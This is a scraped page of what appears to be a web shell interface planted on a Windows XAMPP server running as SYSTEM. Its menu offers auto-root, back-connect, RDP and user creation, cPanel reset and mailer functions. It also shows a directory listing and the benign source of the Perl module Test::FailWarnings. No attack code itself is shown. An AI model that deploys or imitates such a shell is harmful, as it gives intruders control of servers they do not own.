Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Test /
[ HOME SHELL ]
Name
Size
Permission
Action
Alien
[ DIR ]
drwxrwxrwx
Base
[ DIR ]
drwxrwxrwx
Deep
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
LeakTrace
[ DIR ]
drwxrwxrwx
NoWarnings
[ DIR ]
drwxrwxrwx
Number
[ DIR ]
drwxrwxrwx
Object
[ DIR ]
drwxrwxrwx
Without
[ DIR ]
drwxrwxrwx
Alien.pm
23.44
KB
-rw-rw-rw-
Base.pm
17.89
KB
-rw-rw-rw-
Base.pod
20.63
KB
-rw-rw-rw-
CleanNamespaces.pm
8.16
KB
-rw-rw-rw-
Deep.pm
48.95
KB
-rw-rw-rw-
Differences.pm
18.06
KB
-rw-rw-rw-
Exception.pm
15.1
KB
-rw-rw-rw-
FailWarnings.pm
5.32
KB
-rw-rw-rw-
Fatal.pm
11.04
KB
-rw-rw-rw-
File.pm
39.2
KB
-rw-rw-rw-
Fork.pm
4.01
KB
-rw-rw-rw-
LeakTrace.pm
7.09
KB
-rw-rw-rw-
MockTime.pm
6.49
KB
-rw-rw-rw-
Mojo.pm
33.89
KB
-rw-rw-rw-
Moose.pm
4.09
KB
-rw-rw-rw-
Needs.pm
8.05
KB
-rw-rw-rw-
NoWarnings.pm
7.44
KB
-rw-rw-rw-
Object.pm
4
KB
-rw-rw-rw-
Output.pm
21.9
KB
-rw-rw-rw-
Pod.pm
7.24
KB
-rw-rw-rw-
Requires.pm
3.6
KB
-rw-rw-rw-
RequiresInternet.pm
2.87
KB
-rw-rw-rw-
Script.pm
18.7
KB
-rw-rw-rw-
Specio.pm
40.38
KB
-rw-rw-rw-
SubCalls.pm
4.66
KB
-rw-rw-rw-
Warn.pm
15.52
KB
-rw-rw-rw-
Warnings.pm
14.29
KB
-rw-rw-rw-
YAML.pm
5.25
KB
-rw-rw-rw-
YAML.pod
710
B
-rw-rw-rw-
utf8.pm
10.44
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FailWarnings.pm
use 5.008001; use strict; use warnings; package Test::FailWarnings; # ABSTRACT: Add test failures if warnings are caught our $VERSION = '0.008'; # VERSION use Test::More 0.86; use Cwd qw/getcwd/; use File::Spec; use Carp; our $ALLOW_DEPS = 0; our @ALLOW_FROM = (); my $ORIG_DIR = getcwd(); # cache in case handler runs after a chdir sub import { my ( $class, @args ) = @_; croak("import arguments must be key/value pairs") unless @args % 2 == 0; my %opts = @args; $ALLOW_DEPS = $opts{'-allow_deps'}; if ( $opts{'-allow_from'} ) { @ALLOW_FROM = ref $opts{'-allow_from'} ? @{ $opts{'-allow_from'} } : $opts{'-allow_from'}; } $SIG{__WARN__} = \&handler; } sub handler { my $msg = shift; $msg = '' unless defined $msg; chomp $msg; my ( $package, $filename, $line ) = _find_source(); # shortcut if ignoring dependencies and warning did not # come from something local if ($ALLOW_DEPS) { $filename = File::Spec->abs2rel( $filename, $ORIG_DIR ) if File::Spec->file_name_is_absolute($filename); return if $filename !~ /^(?:t|xt|lib|blib)/; } return if grep { $package eq $_ } @ALLOW_FROM; if ( $msg !~ m/at .*? line \d/ ) { chomp $msg; $msg = "'$msg' at $filename line $line."; } else { $msg = "'$msg'"; } my $builder = Test::More->builder; $builder->ok( 0, "Test::FailWarnings should catch no warnings" ) or $builder->diag("Warning was $msg"); } sub _find_source { my $i = 1; while (1) { my ( $pkg, $filename, $line ) = caller( $i++ ); return caller( $i - 2 ) unless defined $pkg; next if $pkg =~ /^(?:Carp|warnings)/; return ( $pkg, $filename, $line ); } } 1; # vim: ts=4 sts=4 sw=4 et: __END__ =pod =encoding utf-8 =head1 NAME Test::FailWarnings - Add test failures if warnings are caught =head1 VERSION version 0.008 =head1 SYNOPSIS Test file: use strict; use warnings; use Test::More; use Test::FailWarnings; ok( 1, "first test" ); ok( 1 + "lkadjaks", "add non-numeric" ); done_testing; Output: ok 1 - first test not ok 2 - Test::FailWarnings should catch no warnings # Failed test 'Test::FailWarnings should catch no warnings' # at t/bin/main-warn.pl line 7. # Warning was 'Argument "lkadjaks" isn't numeric in addition (+) at t/bin/main-warn.pl line 7.' ok 3 - add non-numeric 1..3 # Looks like you failed 1 test of 3. =head1 DESCRIPTION This module hooks C<$SIG{__WARN__}> and converts warnings to L<Test::More> C<fail()> calls. It is designed to be used with C<done_testing>, when you don't need to know the test count in advance. Just as with L<Test::NoWarnings>, this does not catch warnings if other things localize C<$SIG{__WARN__}>, as this is designed to catch I<unhandled> warnings. =for Pod::Coverage handler =head1 USAGE =head2 Overriding C<$SIG{__WARN__}> On C<import>, C<$SIG{__WARN__}> is replaced with C<Test::FailWarnings::handler>. use Test::FailWarnings; # global If you don't want global replacement, require the module instead and localize in whatever scope you want. require Test::FailWarnings; { local $SIG{__WARN__} = \&Test::FailWarnings::handler; # ... warnings will issue fail() here } When the handler reports on the source of the warning, it will look past any calling packages starting with C<Carp> or C<warnings> to try to detect the real origin of the warning. =head2 Allowing warnings from dependencies If you want to ignore failures from outside your own code, you can set C<$Test::FailWarnings::ALLOW_DEPS> to a true value. You can do that on the C<use> line with C<< -allow_deps >>. use Test::FailWarnings -allow_deps => 1; When true, warnings will only be thrown if they appear to originate from a filename matching C<< qr/^(?:t|xt|lib|blib)/ >> =head2 Allowing warnings from specific modules If you want to white-list specific modules only, you can add their package names to C<@Test::NoWarnings::ALLOW_FROM>. You can do that on the C<use> line with C<< -allow_from >>. use Test::FailWarnings -allow_from => [ qw/Annoying::Module/ ]; =head1 SEE ALSO =over 4 =item * L<Test::NoWarnings> -- catches warnings and reports in an C<END> block. Not (yet) friendly with C<done_testing>. =item * L<Test::Warnings> -- a replacement for Test::NoWarnings that works with done_testing =item * L<Test::Warn> -- test for warnings without triggering failures from this modules =back =for :stopwords cpan testmatrix url annocpan anno bugtracker rt cpants kwalitee diff irc mailto metadata placeholders metacpan =head1 SUPPORT =head2 Bugs / Feature Requests Please report any bugs or feature requests through the issue tracker at L<https://github.com/dagolden/Test-FailWarnings/issues>. You will be notified automatically of any progress on your issue. =head2 Source Code This is open source software. The code repository is available for public review and contribution under the terms of the license. L<https://github.com/dagolden/Test-FailWarnings> git clone https://github.com/dagolden/Test-FailWarnings.git =head1 AUTHOR David Golden <dagolden@cpan.org> =head1 COPYRIGHT AND LICENSE This software is Copyright (c) 2013 by David Golden. This is free software, licensed under: The Apache License, Version 2.0, January 2004 =cut
Close